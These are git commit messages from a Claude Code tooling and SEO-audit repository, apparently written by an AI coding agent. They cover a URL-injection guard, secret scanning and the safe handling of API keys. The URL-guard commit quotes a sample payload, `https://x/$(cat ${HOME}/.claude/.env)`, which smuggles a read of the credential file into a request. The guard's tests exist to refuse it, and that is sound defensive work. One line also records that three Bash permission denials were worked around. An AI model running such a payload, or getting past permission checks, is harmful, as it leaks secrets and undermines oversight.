- MANAGED_EXTERNALS (emil-design-eng, frontend-design,
design-motion-principles, impeccable) + MANAGED_MCPS (magic):
cmd_set now trims both when the profile does not list them —
design leftovers no longer survive a 'set backend'
- cmd_set refactored to 4 symmetric trim helpers; nothing outside
the MANAGED_* allowlists is ever auto-toggled (darwin-skill manual)
- enable_skill external: from-source fallback (ln -sf
skills-external/<name>), mirrors toggle-external.sh
- stale usage() NOTE + SKILL.md updated to the both-ways reality
- hermetic test: 16 checks, fixture repo + fake claude shim (gstack
on-demand, from-source, park/restore, magic add/remove, non-managed
untouched); shellcheck + full make test green
Plan challenged by 3 blind lenses + 1 confirmation pass (1 BLOCKER closed
by fable-dispatch spike, 6 MAJORs + 8 MINORs fixed by named changes, 0
deferred). TODO: seo-geo-integrity 'UNMERGED' note was stale (92301fe
already in develop) — corrected.
The plan said Common Crawl was the free backlink source and the 70/100 cap
was therefore mandatory. Measured before building, and both premises die.
HEAD against data.commoncrawl.org, live:
cc-main-2026-feb-mar-apr-domain-edges.txt.gz 17.3 GB gzipped
cc-main-2026-feb-mar-apr-domain-ranks.txt.gz 2.3 GB
cc-main-2026-feb-mar-apr-domain-vertices.txt.gz 879 MB
Finding one domain's inbound links means scanning the edges file end to end,
per audit. That is not slow, it is non-viable — and abusive toward a
nonprofit serving the data free.
Worse, the reference implementation everyone points at
(claude-seo scripts/commoncrawl_graph.py:169) does this:
max_compressed_bytes = 500 * 1024 * 1024 # 500 MiB safety cap
if total_downloaded > max_compressed_bytes: break
500 MiB of 17.3 GB is **2.9% of the edges file**, which is sorted by source
ID — so it reads an arbitrary slice of source domains and reports whatever
backlinks happened to be in it, as a backlink profile, capped at "70/100
health". Nothing in the output says 3%. That is a random sample wearing a
measurement's clothes: the exact failure class this branch exists to remove,
and I was one step from copying it.
B2 dies with B1: nothing left to cap.
CONSEQUENCE, and it is the point: I1's narrowed Off-page axis — brand
mentions only, backlinks + authority declared unauditable in §14 — is the
FINAL state, not a placeholder waiting for data. Corrected my own I1 text,
which pointed at Common Crawl as the "nearest free source": that sends a
future reader into a 17 GB dead end. The §14 line now records what was
measured and why no number beats a fabricated one.
Also corrects the B3 note, whose follow-on ("so Common Crawl is the only free
source") was wrong for the same reason. The only free viable backlink source
is Bing's GetUrlLinks — first-party only, never a competitor, and blocked on
the client's Bing account. That raises W2's value; it does not unblock it.
Verified: full suite green, seo-data 144 pass / 0 fail.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
geo-analyzer owns JSON-LD NAP (ownership matrix, seo/SKILL.md:261) and can
rewrite it via G2 — AUTO tier, no confirmation (geo-analyzer.md:660). The
LRN-032 protection lived ONLY in the /seo dispatcher prompt
(seo/SKILL.md:339-343), so standalone /geo reconciled NAP with no canonical
and no anti-seed guard — the exact zenquality trap, writing into client
structured data.
Root cause: a safety invariant that depended on the caller. Fixed at the
layer that owns the data.
- Data integrity: NAP direction rule, caller-independent, binds G2/G6.
Covers CREATE (LocalBusiness from scratch) not just rewrite — geo builds
missing schemas, seo-analyzer's wording only covered rewrite.
- STEP 6 checklist: pointer at the line that triggers the action.
Absent canonical is already the safe default (no directional fix), so no
NAP collection step is needed in /geo — that would duplicate seo/SKILL.md
STEP 0 and risk drift.
Verified: make test 25+5+5 GREEN / 0 RED (incl. G3 strict-YAML frontmatter).
11 atomic commits on chore/review-remediation, make test GREEN throughout, both
smokes verified (A2 secret blocked, A8 AUTO fix lands). Branch unmerged (human gate).
Session log for job8 (A/B/C/D execution, 3 Bash permission denials
worked around mid-C, smoke gate confirmed by user). TODO tracks the
2 open residuals: C/D single-pass re-audit next cycle, MAGIC_API_KEY
rotation still pending (job7 residual, unrelated to job8's own scope).
- rm ~/.claude/projects/.../960bd2cf-...jsonl (transcript with plaintext
GITEA token — token already rotated; user GO)
- rm ~/.claude/paste-cache/7d48f52c7499c1a7.txt (sourcegraph-access-token
hit surfaced by make scan-secrets, outside the original job7 triage;
never read — user GO to delete without further characterization)
- ide/27929.lock: already gone (natural rotation, session ended). Its
replacement ide/20429.lock is a LIVE lock for the current session —
left alone, not stale
- settings.json cleanupPeriodDays 30 -> 7 (confirmed field name/scope via
docs; diff shown and explicitly confirmed before writing — first
attempt was correctly blocked by the auto-mode classifier for having
only narrated the diff in text rather than actually pausing for
confirmation). Only this one hunk staged — the file carries unrelated
live-session drift (model/effortLevel/permission-list reorder) not
part of this job, left unstaged.
Residual, deliberately not decided here: transcript f1c9c474-...jsonl
(generic-api-key x8, surfaced by make scan-secrets, not in the original
triage) — not read, not characterized, no option chosen by the user among
self-inspect/TODO/rm. Left intact in TODO as an open item.
Pre-commit (lib/gitflow.sh emit-hook) now runs `gitleaks git --staged` right
after the root-commit/merge-in-progress guard, on ANY branch — not gated by
branch protection, since secrets shouldn't land anywhere. Non-blocking if
gitleaks isn't installed (warn + pass). gitleaks 8.30.1: `protect` isn't
listed in --help anymore (still runs, but undocumented) — used the
documented `git --staged` equivalent instead.
.gitleaks.toml allowlists the 3 false-positive classes from the job7 triage
(marketplace.json 40-hex "sha" fields, superpowers ws-protocol.test.js nonce,
git-game test-secret-* fixtures) plus a 4th entry for ~/.claude/.env itself —
not a false positive, but scanning our own canonical vault (BDR-026) is pure
noise for a tool meant to catch stray copies. All 4 verified empirically
against the real flagged files/values before being added, not assumed from
gitleaks' docs.
`make scan-secrets` scans this repo's git history + ~/.claude (dir scan),
redacted JSON to .audit/ (verified: --redact scrubs Match/Secret in the
report itself, not just console logs — safe to commit). Repo: 0 findings.
~/.claude: 18 remaining across 8 files — 5 match the known job7 triage
(pending the GO-gated purge in step D), 3 are new discoveries outside the
original triage scope (flagged for the user, not characterized further —
never read a flagged file's content past what gitleaks' redacted report
gives you).
lib/gitflow-test.sh T16: fake secret on a feature branch (not main/develop)
→ blocked, proving the check isn't gated by branch protection; clean commit
passes; PATH without gitleaks → warns and still commits. 96/96 green.
toggle-external.sh's `claude mcp add magic --env API_KEY="$MAGIC_API_KEY"`
materialized the key as plaintext into ~/.claude.json — a copy outside the
~/.claude/.env canonical, invisible to the repo's gitignore/allowlist reach.
Claude Code supports ${VAR} expansion in mcpServers config (docs confirmed),
so the fix is a reference, not a scrub.
- lib/toggle-external.sh: --env 'API_KEY=${MAGIC_API_KEY}' (single-quoted
literal reference, not bash-expanded) so future `enable magic` runs write
the safe form too.
- README: new "Adding an MCP server that needs a secret" section documenting
the --env pitfall and the wrapper pattern.
Out-of-repo companion changes (not in this commit): ~/.bashrc gained a
scoped claude() wrapper that sources ~/.claude/.env into a subshell before
exec'ing the real binary (verified: the var never reaches the ambient
interactive shell, only claude + children) — chosen over a global export to
keep the secret's surface minimal. ~/.claude.json's mcpServers.magic.env.API_KEY
was rewritten to the same "${MAGIC_API_KEY}" reference via a surgical jq
edit (never read directly, so the value never entered this session's
context). The 2 of 5 rotating ~/.claude/backups/.claude.json.backup.* files
still holding the old plaintext were scrubbed the same way.
Residual: this session predates the bashrc wrapper, so `claude mcp list`
currently warns "Missing environment variables: MAGIC_API_KEY" — expected,
resolves on next terminal + Claude Code restart. MAGIC_API_KEY rotation
still pending (user action, after this commit).
Any single-pipeline printenv/env dump now gets a redaction pipe appended
before it can reach stdout/transcript; `env VAR=x cmd` (legitimate
subprocess launch) is left intact. Compound commands (;, &, ||) bail
untouched — appending the pipe at the end would attach to the wrong
segment.
Discovered mid-implementation: rtk rewrite classifies any command
containing "env" as exit-code 2 ("deny"), with no settings.json rule
backing it — the command still reaches native evaluation and can run.
Adjusted case 2/1 handling so the redaction check runs regardless.
Live failure (run 2): the checklist printed above AskUserQuestion never
reached the user. Fix is structural: the checklist is never written to a
file (throwaway — PENDING.json + live runbook regenerate it in any
session) and every hand-back/re-display ends the turn with the full
checklist as the FINAL text, no tool call after it. Cold resume without a
report regenerates + re-displays. Artifacts 5 -> 4 files; bootstrap
gitignore step drops NEXT.sh; mistakes/red-flags updated (no tool call
after the print, no file 'for reference').
First-real-run UX feedback (EVAL-016): one command per line as typed in an
interactive session (ssh opens the box, following lines run on it, local
steps flagged), never folded ssh compounds; the hand-back prints the full
checklist in the conversation (and every re-hand-back reprints it). Step
defined as a block (header + command lines to next blank line), @delta
governs the block. Template restyled to match.
BLK-013 fix-forward. Step 1 checked `node >=22` but never verified npm.
On a host where node was already recent, NODE_OK short-circuited the
installer and npm was never touched — yet GSD (gsd-pi) and ctx7 install
via `npm install -g`, so a missing npm made `make plugin` die Error 127
mid-run (distro `apt install nodejs` can ship npm as a separate package).
Add an unconditional npm guard right after the Node block:
corepack enable npm → distro package-manager install fallback → fatal
exit 1 with an actionable message if still absent. Happy path (npm
present) skips the whole block: zero behavior change on healthy machines.
shellcheck clean (only pre-existing SC1091 infos), bash -n OK. Fresh
npm-less apt host validation still pending. Closes TODO (a) 2026-06-30.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VeBXkDr74N9whdiJyjzyVN
/reconcile show-only surfaced 7 open [ ] boxes under the
`## Helper --help` section headed [WON'T-BUILD 2026-06-30]. The chantier
was killed (BDR-001 won't-build, measured non-rentable) but the build
subtasks stayed unchecked → naive `grep '[ ]'` counted them as open work.
Mark them [-] (cancelled) so declared state matches reality. The ⛔
WON'T-BUILD prose already frames them as "historique, non actionnables".
Naive open-count 10→3; survivors are genuine deferred-open (context-file
2e passage, zenquality cross-repo, install-plugins npm harden).
Registries left untouched (reconcile is read-only there; BLK-014/BDR-046
"pending merge" staleness is a /prune-memory concern, not this).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01VeBXkDr74N9whdiJyjzyVN
BDR-044: auto-skill-dispatch chantier retired won't-build — 3rd measured moot
of the session (after --help, darwin re-baseline). Cartography showed L1
(superpowers "1%->MUST invoke") already over-determines routing -> reframed
from "does it route" (yes) to DISCERNMENT; risk inverted under->over. Measured
in real fresh sessions (8 prompts/3 classes): clear->route, ambiguous->ask,
trivial->abstain — model discriminates, no over-routing. Adding L2 prose =
phantom value + degradation risk. LRN-083: subagents are an invalid instrument
for measuring main-loop spontaneous routing (SUBAGENT-STOP + delegated framing
pin to the no-route floor) — retired the 0/6 subagent RED. LRN-080 corroborated
(3-in-a-row). TODO -> won't-build. Claude composed all -> trailers (4th
application of LRN-081).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017KWG7sXg94LXX1gddCGBvM
LRN-082: a trigger-cleared on a multi-motif exclusion lifts only the named
motif. BDR-043 cleared BDR-015's broken-symlink ground (a) but not its
external-ownership ground (b) → the darwin re-baseline is phantom value
(would edit the gstack submodule, LRN-070; results.tsv gone anyway). TODO (b)
resolved-MOOT (not done, not open). Trailers present: Claude composed LRN-082
+ the moot note — LRN-081's own rule, 2nd application.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_017KWG7sXg94LXX1gddCGBvM
LRN-081: Claude commit trailers only on Claude-COMPOSED content; a commit merely staging user-authored text gets none (staging != authorship). TODO reconcile: checked L26 'Cleanup machine courante' DONE (make plugin EXIT=0 this session ran Step 8.5, fs-verified strays absent); added (a) harden install-plugins.sh Step 1 npm-via-corepack (BLK-013 fix-forward) + (b) darwin re-baseline of the 5 ex-broken skills (BDR-043). Trailers present here because Claude composed the LRN + TODO formulations (LRN-081's own rule) — unlike e591510 which staged raw user text.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C6bUdvHnajCNzgVQefZowj